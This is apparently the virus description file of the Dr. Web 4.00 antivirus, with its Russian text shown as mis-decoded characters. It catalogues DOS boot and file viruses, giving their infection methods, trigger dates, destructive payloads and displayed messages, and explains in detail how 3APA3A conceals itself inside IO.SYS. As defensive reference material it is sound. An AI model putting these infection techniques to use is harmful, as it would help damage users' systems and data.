ºRex ¦2560 (A00h) ¦ M+file¦ 2 * ¦ Ch º
ºRipper ¦1024 (400h) ¦ FM ¦ 2 ¦ H º
ºRmb ¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºRostov ¦512 (200h) ¦ FM ¦ 1 ¦ - º
ºRP (2)¦512 (200h) ¦ FM ¦ 1 * ¦ HV º
ºRPS (3)¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºSampo ¦2560 (A00h) ¦ FM ¦ 6 * ¦ V º
ºSatria (4)¦512 (200h) ¦ FM ¦ 1 * ¦ V º
ºScale ¦512 (200h) ¦ FM ¦ 2 ¦ - º
ºSecretary ¦2048 (800h) ¦ FM ¦ 2 * ¦ V º
ºSeeYou ¦1024 (400h) ¦ FB ¦ 2 * ¦ HV º
ºSevilla ¦512 (200h) ¦ FM ¦ 1 ¦ - º
ºShimmer (2)¦512 (200h) ¦F+WINSTART HMA * ¦ Ch º
ºSierra (4)¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºSheHas ¦512 (200h) ¦ FM ¦ 10* ¦ - º
ºSly ¦1024 (400h) ¦ M+file¦ 1 * ¦ H º
ºSmile.4320 ¦4608 (1200h)¦ M+file¦ 5 * ¦ S º
ºSpirit ¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºSpook (2)¦512 (200h) ¦ FM ¦ 2 * ¦ H º
ºStealthBoot (2)¦3072 (C00h) ¦ FM ¦ 4 ¦ - º
ºStoned (?)¦512 (200h) ¦ FM ¦ 2,1 ¦ VEr º
ºStrafer ¦512 (200h) ¦ FB ¦ 1 * ¦ H º
ºStrike ¦512 (200h) ¦ FM ¦ 1 * ¦ HCh º
ºSurvivor ¦512 (200h) ¦ FM ¦ 2 * ¦ - º
ºSVC ¦5120 (1400h)¦ M+file¦ 5 ¦ - º
ºSwedish ¦512 (200h) ¦ FM ¦ 2 * ¦ V º
ºSwissArmee (3)¦1536 (600h) ¦ FM ¦ 3 * ¦ HV º
ºTemptation ¦512 (200h) ¦ FM ¦ 1 * ¦ V º
ºTequila ¦3072 (C00h) ¦ FM ¦ 3 * ¦ V º
ºTiso.1279 ¦1536 (600h) ¦ M+file¦ 2 * ¦ V º
ºTornado ¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºTPVO.3783 ¦4608 (1200h)¦FM+file¦ - * ¦ - º
ºTraka.1471 ¦1536 (600h) ¦FM+file¦ 3 * ¦ - º
ºTubo ¦1536 (600h) ¦ FM ¦ 4 * ¦ V º
ºTwofs ¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºUNashamed (2)¦512 (200h) ¦ FM ¦ 1 * ¦ V º
ºUrkel (2)¦512 (200h) ¦ FM ¦ 2 * ¦ V º
ºV-Sign ¦1536 (600h) ¦ FM ¦ 2 * ¦ V º
ºVarna.1536 ¦1024 (400h) ¦FM+file¦ 3 * ¦ H º
ºVaucher ¦512 (200h) ¦ FM ¦ 2 ¦ - º
ºVerify ¦512 (200h) ¦ FM ¦ 2 * ¦ Ch º
ºVeronika ¦1024 (400h) ¦ FM ¦ 2 * ¦ V º
ºVilly ¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºVlad ¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºVolga.1 ¦512 (200h) ¦ FM ¦ 1 ¦ - º
ºVtb ¦512 (200h) ¦ FM ¦ 2 * ¦ - º
ºXorAA ¦512 (200h) ¦ FM ¦ 1 * ¦ H º
ºYale (3)¦512 (200h) ¦ F ¦ 1 * ¦ H º
ºYMP ¦512 (200h) ¦ FM ¦ 2 ¦ V º
ºWBoot (2)¦512 (200h) ¦ FM ¦ 1 ¦ - º
ºWet ¦512 (200h) ¦ FB ¦ - * ¦ HV º
ºWrong ¦512 (200h) ¦ FM ¦ 2 * ¦ H º
ºWxyc (2)¦512 (200h) ¦ FB ¦ 2 * ¦ V º
ºZabootovka (3)¦512 (200h) ¦ FM ¦ 1 * ¦ - º
ºZappa ¦512 (200h) ¦ FB ¦ 1 * ¦ HV º
ºZhengZhou.3584 ¦3072 (C00h) ¦ M+file¦ - ¦ HV º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍÍÏÍÍÍÍÍÍÍÍÍͼ
Ôàéë îïèñàíèÿ âèðóñîâ, îïðåäåëÿåìûõ è îáåçâðåæèâàåìûõ Dr. Web 4.00
3APA3A (1-3)
Ôàéëîâî-çàãðóçî÷íûå âèðóñû. Çàðàæàþò Boot-ñåêòîðà äèñêåò è ñèñòåìíûé
ôàéë IO.SYS äëÿ MS-DOS èëè àíàëîãè÷íûé åìó â äðóãèõ DOS. Ïðè çàãðóçêå ñ
èíôèöèðîâàííîé äèñêåòû âèðóñû ñ÷èòûâàþò â ïàìÿòü 5 ñåêòîðîâ êîðíåâîãî
êàòàëîãà (root directory) çàãðóçî÷íîãî ðàçäåëà æåñòêîãî äèñêà è
ïðîâåðÿþò àòðèáóò ìåòêè òîìà (Volume) ó ïåðâîãî ýëåìåíòà äèðåêòîðèÿ.
Îáû÷íî, ïåðâûì ýëåìåíòîì ÿâëÿåòñÿ ñèñòåìíûé ôàéë IO.SYS. Åñëè àòðèáóò
Volume óñòàíîâëåí, òî âèðóñû íèêàêèõ äåéñòâèé íå ïðîèçâîäèò, ñ÷èòàÿ ÷òî
IO.SYS óæå èíôèöèðîâàí, è îòäàþò óïðàâëåíèå îðèãèíàëüíîìó Boot-ñåêòîðó
ôëîïïè-äèñêà. Åñëè æå àòðèáóò ìåòêè òîìà íå óñòàíîâëåí, òî âèðóñû
ñ÷èòûâàþò â ïàìÿòü öåëèêîì ôàéë IO.SYS, "ïåðåäâèãàÿñü" íåïîñðåäñòâåííî
ïî öåïî÷êå FAT. Çàòåì ïðîèçâîäÿò êîïèðîâàíèå ñèñòåìíîãî ôàéëà â
ïîñëåäíèå êëàñòåðû ëîãè÷åñêîãî ðàçäåëà. Ïðè÷åì âèðóñû î÷åíü àêêóðàòíî
"ïðîñìàòðèâàþò" FAT äëÿ ïîñëåäíèõ ñåêòîðîâ äèñêà, è åñëè ôàéë íå
ïîìåùàåòñÿ â ïîñëåäíèå 256 êëàñòåðîâ äèñêà, òî âèðóñû îòêàçûâàþòñÿ îò
äàëüíåéøåãî çàðàæåíèÿ. Çàòåì âèðóñû êîððåêòèðóþò äâå êîïèè FAT â
ñîîòâåòñòâèè ñ äóáëèðîâàíèåì IO.SYS â ïîñëåäíèå ñåêòîðà ðàçäåëà,
êîïèðóþò ñëóæåáíûå ïîëÿ ýëåìåíòà IO.SYS â òðåòèé ýëåìåíò êîðíåâîãî
îãëàâëåíèÿ, ñäâèãàÿ âñå îãëàâëåíèå ñ òðåòüåãî ýëåìåíòà ïî 80,
óíè÷òîæàÿ, ò.î., 80 ýëåìåíò (ôàéë èëè äèðåêòîðèé). Óñòàíàâëèâàþò äëÿ
òðåòüåãî ýëåìåíòà (êîïèÿ IO.SYS) íîâûé íà÷àëüíûé êëàñòåð. Ïîñëå ÷åãî
âèðóñû çàïèñûâàþò â íà÷àëüíûé êëàñòåð ïåðâîãî ýëåìåíòà (îðèãèíàëüíûé
IO.SYS) 1024 áàéòà ñâîåãî êîäà. È òîëüêî ïîñëå ýòîãî âèðóñû
óñòàíàâëèâàþò àòðèáóò Volume äëÿ ïåðâîãî, èíôèöèðîâàííîãî ýëåìåíòà
êîðíåâîãî äèðåêòîðèÿ. Òàêèì îáðàçîì ïðè çàãðóçêå ñèñòåìû ñ æåñòêîãî
äèñêà, Boot-ñåêòîð àêòèâíîãî ðàçäåëà íàõîäèò ïåðâûé ýëåìåíò â root
directory IO.SYS, íå îáðàùàÿ âíèìàíèÿ íà óñòàíîâëåííûé àòðèáóò ìåòêè
òîìà, ñ÷èòûâàåò ïåðâûé êëàñòåð äàííîãî äðàéâåðà, ñîäåðæàùèé â ñåáå
1024 áàéòà âèðóñíîãî êîäà, â ïàìÿòü è îòäàåò åìó óïðàâëåíèå. Ïîëó÷èâ
óïðàâëåíèå âèðóñû äåéñòâóþò êàê "îáû÷íûå" Boot-âèðóñû - "îòðåçàþò" îò
ïàìÿòè DOS 2 èëè 3 êèëîáàéòà, ïåðåíîñÿò â "îòðåçàííóþ" îáëàñòü ñâîþ
êîïèþ è ïåðåõâàòûâàþò INT 13h (3APA3A (1)) èëè INT 16h (3APA3A (2)),
äëÿ çàðàæåíèÿ Boot-ñåêòîðîâ äèñêåò. Ïîñëå òîãî êàê âèðóñû ñòàëè
ðåçèäåíòíî â ïàìÿòè, îíè ñ÷èòûâàþò â ïàìÿòü ïåðâûé êëàñòåð
"ôàéëà-äóáëåðà" IO.SYS è îòäàþò åìó "áðàçäû ïðàâëåíèÿ". Äàëüøå âñå
ïðîèñõîäèò, êàê â íåçàðàæåííîé ñèñòåìå: ïåðâûé êëàñòåð îòðàáîòàâ,
íàõîäèò âòîðîé êëàñòåð èíôèöèðîâàííîãî ôàéëà, ñ÷èòûâàåò åãî â ïàìÿòü,
ïåðåäàåò åìó óïðàâëåíèå è ò.ä. Ñòîèò ñêàçàòü î òîì, ÷òî çàðàæåííûé ôàéë
IO.SYS, èìåþùèé àòðèáóò Volume, íå âèäåí ñòàíäàðòíûìè ñðåäñòâàìè DOS.
Ò.î., "ôàéë-äóáëåð" íåîáõîäèì, ïðàêòè÷åñêè, äëÿ ìàñêèðîâêè è äëÿ
õðàíåíèÿ îðèãèíàëüíîãî ïåðâîãî êëàñòåðà IO.SYS. Âèðóñû íå çàðàæàþò ôàéë
IO.SYS åñëè àêòèâíûé ðàçäåë äèñêà ñîäåðæèò ìåíüøå, ÷åì 20740 (5104h)
ñåêòîðîâ, ò.å., åìêîñòü äèñêà < 10370Kb. Îïàñíîñòü âèðóñîâ ñîñòîèò â
òîì, ÷òî äàæå ïðè çàãðóçêå ñ "÷èñòîãî" ñèñòåìíîãî ôëîïïè-äèñêà è ââîäà
êîìàíäû SYS C:, âèðóñíûå êîäû íå áóäóò óäàëåíû ñ äèñêà!!! Äàííàÿ
êîìàíäà ïðîèçâåäåò ïåðåçàïèñü òîëüêî "ôàéëà-äóáëåðà" IO.SYS. È ñàìîå
íåïðèÿòíîå â òîì, ÷òî åñëè ïðîãðàììà SYS çàïèøåò ôàéë íà íîâîå ìåñòî íà
äèñêå, òî ñèñòåìà ïåðåñòàíåò çàãðóæàòüñÿ ñ æåñòêîãî äèñêà, ò.ê., âèðóñû
â ñâîåì òåëå õðàíÿò àäðåñ íà÷àëüíîãî ñåêòîðà "ôàéëà-äóáëåðà" IO.SYS.
Ïðè çàðàæåíèè Boot-ñåêòîðîâ ôëîïïè äèñêà âèðóñû øèôðóþò ñâîé êîä,
ïðè÷åì ðàñøèôðîâùèê âûáèðàåòñÿ èç 12 âîçìîæíûõ. Îðèãèíàëüíûé
Boot-ñåêòîð è ñâîå ïðîäîëæåíèå (êîä, âíåäðÿåìûé â ôàéë IO.SYS) âèðóñû
"õðàíÿò" â äâóõ ïîñëåäíèõ ñåêòîðàõ Root Directory äèñêåòû. Ïðè çàãðóçêå
ñèñòåìû â àâãóñòå ìåñÿöå 3APA3A (1) âûâîäèò ñîîáùåíèå B BOOT CEKTOPE -
3APA3A! 3APA3A (1) íåðàáîòîñïîñîáåí â 25% íà ïðîöåññîðàõ 286, 386, 486
èç-çà îøèáêè ïðè èñïîëüçîâàíèè êîíâåéåðà. 3APA3A (2) ïðè çàãðóçêå
ñèñòåìû â äåêàáðå èçäàåò çâóêîâîé ñèãíàë.
3nop
Î÷åíü îïàñíûé Boot-âèðóñ. Çàðàæàåò MBR è Boot-ñåêòîðà äèñêåò. Íî êðîìå
òîãî, ïðè çàïèñè ñåêòîðîâ, åñëè ïåðâûé áàéò 0E9h, òî âèðóñ, ïîëàãàÿ,
÷òî ýòî íà÷àëî COM-ôàéëà, çàïèñûâàåò âìåñòî äàííîãî ñåêòîðà ñâîé êîä,
ñïîñîáíûé çàðàçèòü MBR è Boot-ñåêòîðà ôëîïïè-äèñêîâ.
4on.1346
Íåîïàñíûé ïîëèìîðôíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "4ON-\\*+>".
4res.1049
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ.  ïîíåäåëüíèê 1 ÷èñëà "âåøàåò" ñèñòåìó.
Ñîäåðæèò òåêñòîâóþ ñòðîêó "4RESPATH=COMSPEC=*.COM *.EXE 4RES".
7thSon.440
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîçäàåò âðåìåííûå ôàéëû íà äèñêå C:\,
êîòîðûå íå óäàëÿåò. Ñîäåðæèò òåêñò "SiGVE v1.0 TP4 Compilation!".
A1B2.478
Îïàñíûé çàìåùàþùèé âèðóñ. Ïî îêîí÷àíèè ñâîåé ðàáîòû âèðóñ èìèòèðóåò
îøèáêó ïîçèöèîíèðîâàíèÿ íà òåêóùåì äèñêå è âûâîäèò ñîîáùåíèå:
Seek error reading drive
Abort, Retry, Ignore, Fail?
Ïðè íàæàòèè íà êëàâèøó 'A' âèðóñ îòäàåò óïðàâëåíèå DOS. Ñîäåðæèò â
íà÷àëå êîäà òåêñòîâóþ ñòðîêó "A1B2C3D4", êîòîðàÿ èñïîëüçóåòñÿ, êàê
èíñòðóêöèè àññåìáëåðà. Ïðè íå íàõîæäåíèè â òåêóùåì êàòàëîãå íà ôëîïïè-
äèñêå ôàéëîâ *.COM âèðóñ, âèäèìî, õîòåë áû îòôîðìàòèðîâàòü íóëåâóþ
äîðîæêó äàííîé äèñêåòû, íî â äàííîì ìåñòå èìååòñÿ îøèáêà, è
ôîðìàòèðîâàíèå íå ïðîèçîéäåò.
A&A
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñ ôåâðàëÿ ïî íîÿáðü êàæäûé ÷àñ
ïåðåñòàâëÿåò ñîñåäíèå ñèìâîëû íà ýêðàíå. Ñîäåðæèò òåêñò "{A&A}".
Abbas.5660
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïðè ïîïûòêå òðàññèðîâêè ðåçèäåíòíîé êîïèè
âèðóñ âûâîäèò ñîîáùåíèå "IRANIAN VIRUS W.by ABBAS KUHKAN ALIABADI" è
"ïåðåçàãðóæàåò" ñèñòåìó.  ïîëíî÷ü âèðóñ óñòàíàâëèâàåò àðàáñêèé
çíàêîãåíåðàòîð è âûâîäèò íà àðàáñêîì ÿçûêå ñîîáùåíèå:
ÕÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ͸
¦ ¹Ë˺ÑËËó× ù¿èÓ ¦
¦ ¤ä°ùä·Ó éþÐåúÐ ° Ñ·¿ËËËË×èþè ¹èääÓ åþä¿ ¦
¦ ¦
¦ ¡þÐ âþäÐâ â°á ¡Ñ¿åÑè ä°¿Ð éâä¨ äâ ¹ºþê¿ ä¨Ð ¦
¦ ù×úäêþÕ ¤ä×°þÕ¿Ñþ ÖÑ¢Ñþ¿Ð ° ¡ÑèÑ¢êäÑþ ÑÓ åþä¿ ¦
¦ ÉÄÁÄÃÁ-ÉÀÂÆÀÀ-ÉÀÃÅÀÄ ¡úº× ÀÖèÑ¿ê Ö¿âá äâ â°á ¦
¦ ¦
ÔÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ;
Abraxas.1304
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ, çàìåùàþùèé ïðîãðàììíûé êîä. Çàðàæàåò
EXE-ôàéëû â òåêóùåì è ðîäèòåëüñêèõ êàòàëîãàõ, à òàêæå ôàéë
C:\DOS\DOSSHELL.COM. Èçäàåò íåêîòîðûå çâóêè è âûâîäèò íà ýêðàí òåêñò:
ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
Û Û
Û ßßßßßß ßßßßßßß ßßßßßßß ßßßßßß ßßß ßßß ßßßßßß ßßßßßß Û
Û ßßß ßßß ßßß ßßß ßßß ßßß ßßß ßßß ßßßßßß ßßß ßßß ßßß Û
Û ßßßßßßßß ßßßßßßß ßßßßßßß ßßßßßßßß ßßßß ßßßßßßßß ßßßßßß Û
Û ßßß ßßß ßßß ßßß ßßß ßßß ßßß ßßß ßßßßßß ßßß ßßß ßßß Û
Û ßßß ßßß ßßßßßßß ßßß ßßß ßßß ßßß ßßß ßßß ßßß ßßß ßßßßßßß Û
ÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛ
Abs-3
Îïàñíûé Boot-âèðóñ. Ìîæåò óíè÷òîæèòü 7 ïåðâûõ ñåêòîðîâ ôëîïïè-äèñêà.
Acv.1342 (1,2)
Íåîïàñíûé âèðóñ.  ïîíåäåëüíèê â 15 ÷àñîâ âûâîäèò íà ýêðàí òåêñò:
The AC Virus - ACV Version 1.01 , 1993
by
Ahmet Cezayirli
Istanbul University
Electronics Engineeâàøo
Ade.1024
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò íà ýêðàí òåêñò:
Job needed! Phone (095) 9430700 ADE
Adder.1467
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò îøèáêó, èç-çà êîòîðîé íåêîððåêòíî
çàðàæàåò EXE-ôàéëû. Ñîäåðæèò ñòðîêó "adder".
Adolf.475
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ñ âåðîÿòíîñòüþ 1/8 áëîêèðóåò óäàëåíèå
ôàéëîâ. Ñîäåðæèò òåêñò "Adolf Hitler".
Aforia.656
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïîñëå çàðàæåíèÿ êàæäîãî ôàéëà "îñûïàåò"
áóêâû íà ýêðàíå ìîíèòîðà, óñòàíîâèâ íà ýòî âðåìÿ â CMOS-ïàìÿòè ïðèçíàê
îòñóòñòâèÿ æåñòêîãî äèñêà.
Aga.1500
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Â ïÿòíèöó âèðóñ çàïèñûâàåò â
ôàéë AUTOEXEC.BAT òåêñò:
ECHO Hey,suckers! Hold on,your data's gone too far!
ECHO MONGOLIA,UB.
 ïÿòíèöó 13-ãî âèðóñ âûâîäèò òåêñò "WARNING! Today is the 13th !".
Åñëè âèðóñ ñ÷èòàåò, ÷òî ñòàðòîâàë èç èíôèöèðîâàííîãî ôàéëà WIN.COM, òî
îí âûâîäèò òåêñò:
WARNING!!! Your MS-Windows 3.1 you are working with is not licensed!
In the light of it,we are entitled to aver that we will activate
a protective application against your unauthorised access...
À ïðè ñòàðòå çàðàæåííîãî ôàéëà DOOM.COM âèðóñ âûâîäèò òåêñò:
DOOM! v1.0 Âñúýû å¨ Äåöíåöé õ°öé ¨þúè°ì æåòöå!
Ñîäåðæèò òàêæå òåêñò "AGA Media(C),94". Ïðè çàðàæåíèè ôàéëà COMMAND.COM
èç âåðñèè MS-DOS 5.0 âèðóñ íå óâåëè÷èâàåò åãî äëèíû, çàïèñûâàÿñü â
îáëàñòü íóëåâûõ áàéò.
Aga.3000
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò ñëåäóþùèå ñîîáùåíèÿ:
Hello! You're already doomed!
Don't think about it!!!!!
Real-time error at 0x9207.
Try again...
************************************
WARNING!
It's AGA-v2 from MONGOLIA!
The file size was changed!
[Q]uit or continue?
************************************
Ñîäåðæèò òåêñòû: "(*AGAv2.1,super stealth virus from MONGOLIA,UBÖ*)",
"DiRVeRWiNA:\ B:\ D:\ TiMeHeLpCaLcPaUsEWrItESeTuPDiR A:DiR B:Md wArNiNg
!FoRmAt A:/sDeL AuTo*.*DeL CoNf*.*Md ClEar HDMd FoRmAtItscantiaidsdrweb
.lkitf-pradinshercpav$$mon_k_pURAA!!!".
Agiplan.1536
Î÷åíü îïàñíûé ðåçèäåíòíûé âèðóñ.  çàâèñèìîñòè îò òåêóùåé äàòû ìîæåò
óíè÷òîæèòü èíôîðìàöèþ íà âñåõ äîñòóïíûõ äèñêàõ. Èíîãäà ìîæåò âûâåñòè
ñîîáùåíèå "load error".
Aija
Î÷åíü îïàñíûé Boot-âèðóñ. 25 ìàðòà óíè÷òîæàåò ñîäåðæèìîå ïåðâîãî ñåêòî-
ðà íà âñåõ öèëèíäðàõ àêòèâíîãî ðàçäåëà DOS è âûâîäèò ñîîáùåíèå:
FINNISH_SPRAYER.1. Send your Painting +358-0-4322019 (FAX), [Aija] Ñî-
äåðæèò ñòðîêó "Tks to B.B., Z-VirX ..... [Aija]".
Ai.1759
Îïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà óíè÷òîæàåò íóëåâûå äîðîæêè íà ïåðâîì
è âòîðîì æåñòêèõ äèñêàõ êîìïüþòåðà.
Aiw.572
Ñîäåðæèò ñòðîêó "AIW2°JB".
Alabama.1560
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðåõâàòûâàåò INT 09, 21h. Ïûòàåòñÿ
"ïåðåæèòü òåïëóþ ïåðåçàãðóçêó" ñèñòåìû ïî Ctrl-Alt-Del. Ïåðèîäè÷åñêè
âûâîäèò íà ýêðàí ñîîáùåíèå:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºSOFTWARE COPIES ARE PROHIBITED BY INTERNATIONAL LAW Xû¢ nË׷Я· 0000000009 º
º º
º °i¤dü}¢· þЯЯЯ Box 1055 Tuscambia ALABAMA USA º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Alcon
Î÷åíü îïàñíûé çàãðóçî÷íûé âèðóñ.  çàâèñèìîñòè îò ñâîèõ ñ÷åò÷èêîâ ìîæåò
óíè÷òîæàòü èíôîðìàöèþ íà äèñêàõ. Ñîäåðæèò òåêñò "/RS.Y/".
Alex.368
Îñòàâëÿåò â ïàìÿòè ðåçèäåíòíóþ ïðîãðàììó, ïîñûëàþùóþ çíà÷åíèå FEh â
ïîðò 60h. Èìååò òåêñò "The One Night Virus (C) Alex Hacker".
Alex.818
Îñòàâëÿåò â ïàìÿòè ðåçèäåíòíóþ ïðîãðàììó, ñòèðàþùóþ ñîäåðæèìîå ýêðàíà.
Ñîäåðæèò òåêñò "The Kite Virus (C) Alex Hacker".
Alex.1287
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. 20 ÷èñëà îñòàâëÿåò â òàáëèöå âåêòîðîâ
ïðåðûâàíèé ðåçèäåíòíûé êîä, êîòîðûé èñïîëíÿåò ìåëîäèþ èç ôèëüìà
"Êàðüåðà Äèìû Ãîðèíà". Èìååò òåêñòîâóþ ñòðîêó "AlEx".
Alfons.1344, 1536
Î÷åíü îïàñíûå ðåçèäåíòíûå âèðóñû. Åñëè çíà÷åíèå äíÿ íåäåëè (ïîíåäåëüíèê
- 1, âòîðíèê - 2,...) + 1 ñîâïàäàåò ñî çíà÷åíèåì ÷èñëà ìåñÿöà, òî
âèðóñ óíè÷òîæàåò ñîäåðæèìîå ñåêòîðîâ äèñêà, çàïîëíÿÿ èõ òåêñòîì
"Alfons !" è âûâîäèò òåêñò:
Synchronizing drive C: (Do not interrupt this operation !): 0%
Done.
Alia.1023, 1200, 1300
Íåîïàñíûå ðåçèäåíòíûå øèôðîâàííûå âèðóñû. Ñîäåðæàò òåêñòû "ALIA" èëè
"~ALIA~". êîäå âèðóñíîãî ðàñøèôðîâùèêà èñïîëüçóþò êîìàíäû ñîïðîöåññîðà
- FINIT, FCHS, FTST, FNOP.
Alias.6943
Îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Èñïîëüçóåò âõîä â çàùèùåííûé
ðåæèì ïðîöåññîðà è íåìåäëåííûé âûõîä èç íåãî. Äëÿ ÷åãî - íåïîíÿòíî?
Äàííûé êîä áûë ïîëíîñòüþ ñêîïèðîâàí èç êíèãè À. è Ã. Ôðîëîâûõ
"Çàùèùåííûé ðåæèì ïðîöåññîðîâ Intel 80286/80386/80486", ïðè÷åì áåç
ïîíèìàíèÿ ñóùíîñòè äàííîãî êîäà. Âèðóñ ïûòàåòñÿ îïðåäåëèòü òèï
ïðîöåññîðà, è åñëè ïðîöåññîð - 286 èëè íèæå,âûâîäèò òåêñò "Sorry, 80286
CPU or higher required . . .". Äàëåå, åñëè êîìïüþòåð óæå íàõîäèòñÿ â
çàùèùåííîì ðåæèìå, òî âèðóñ âûâîäèò òåêñò "Cannot run in the Protected
or V8086 mode." è çàâåðøàåò ðàáîòó ïðîãðàììû. Òàêæå ìîæåò âûâåñòè íà
ýêðàí òåêñòû:
Even ALIAS-1 - the simplest virus - could not run on your computer.
ID: ALIAS V1.02 - a HARMLESS virus.
(c) St.-Petersburg's El.-Tech. University, CAD/CAM department, 1996.
Ïåðåõâàòûâàåò INT 8, 13h, 21h, 2Fh. Ñ ïîìîùüþ INT 8 âèðóñ êîíòðîëèðóåò
öåëîñòíîñòü ñâîåãî ðåçèäåíòíîãî êîäà. Ïðè ñòàðòå íåêîòîðûõ ïðîãðàìì
(DRWEB, AIDSTEST,...) âèðóñ âûâîäèò òåêñò "Bad command or file name".
Alive.4000
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ìîæåò âûâåñòè íà ýêðàí òåêñò:
<=- A·L·I·V·E -=>
Distributed by the Alternative AL and AI Research Lab Germany,1995
FIRST NAME [804645]
LAST NAME [078000]
BIRTHDAY [05-04-95 16:05]
GENERATION [0004]
HEIR [0004]
SUM [0014]
Íå çàðàæàåò ïðîãðàììû óêàçàííûå â ñïèñêå (ïî 2 ñèìâîëà íà èìÿ):
-D-U-VF-TBSSSVVIVSNEVPIMAVCLCOHMINMSSCWI. Ñîäåðæèò òàêæå òåêñò
"Rewritten by SiRiUS. PrimeCode:***ÙpNV|42$)fJ***]".
Alla.1281, 1325, 1407
Îïàñíûå ðåçèäåíòíûå ôàéëîâî-çàãðóçî÷íûå âèðóñû.Îðèãèíàëüíûé çàãðóçî÷íûé
ñåêòîð è ñâîé êîä äëÿ ôëîïïè - äèñêîâ õðàíÿò íà íåñòàíäàðòíî
îòôîðìàòèðîâàííîé ïîñëåäíåé äîðîæêå. Ñ âåðîÿòíîñòüþ 1/8 áëîêèðóþò
îïåðàöèþ ñîçäàíèÿ ôàéëîâ. Èìåþò òåêñòû "Alla 1.0" è "Wild W0rker /RSA".
Als.335
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Ïî ïîíåäåëüíèêàì óíè÷òîæàåò
ñîäåðæèìîå äèñêà C: è ïûòàåòñÿ âûâåñòè òåêñò (íî âûâîäèò ìóñîð) "PC
infected by KPOBOCOC 1.0 ViRUS. (C) by A.L.S.".
Als.339
Î÷åíü îïàñíûé íåðåçèäåíòíûé, çàìåùàþùèé ïðîãðàììíûé êîä, âèðóñ. Ïî
îêîí÷àíèè ñâîåé ðàáîòû âèðóñ âûâîäèò òåêñò "This program requires
Microsoft Windows.". Ñîäåðæèò òàêæå òåêñò "XA-XA 1.01 A.L.S.".
Am.1061
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïðèìåðíî ÷åðåç 3 ÷àñà ðàáîòû
ïåðèîäè÷åñêè ñáèâàåò ðàçâåðòêó ìîíèòîðà.
Aman.10716
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Çàðàæàåò EXE-ôàéëû. Ïîñëå 17.00 è ïðè
íàæàòèè íà êëàâèøó PrintScreen âûâîäèò â ãðàôè÷åñêîì ôîðìàòå
èçîáðàæåíèå ìóæñêîãî ÷ëåíà. Ñîäåðæèò ñòðîêè "Àìàí Òóëååâ" è "V1.2".
Amanita.1135
Íåîïàñíûé ðåçèäåíòíûé çàøèôðîâàííûé âèðóñ. Ñîäåðæèò òåêñòîâóþ ñòðîêó
""Amanita" v3.03 (c) 1997".
Ambulance.796 (1,2), 2124
Íåîïàñíûå íåðåçèäåíòíûå (Ambulance.2124 - ðåçèäåíòíûé) âèðóñû. Èíîãäà
(Ambulance.2124 ÷åðåç 20 ìèíóò ïîñëå íåàêòèâíîé êëàâèàòóðû è åñëè íå
áûëî îáðàùåíèé ê äèñêàì ÷åðåç INT 13h) ðèñóþò äâèãàþùèéñÿ âíèçó ýêðàíà
è èçäàþùèé çâóêè ñèðåíû àâòîìîáèëü ñêîðîé ïîìîùè:
\|/
ÜÜÜÜÜÜÜÜÛÜÜÜ
ÛÛÛÛß ßÛÛÛ \
ÛÛÛÛÛÜÛÛÛÛÛÛÛÛÛ
ßß OO ßßßßß O ß
Amd.3948
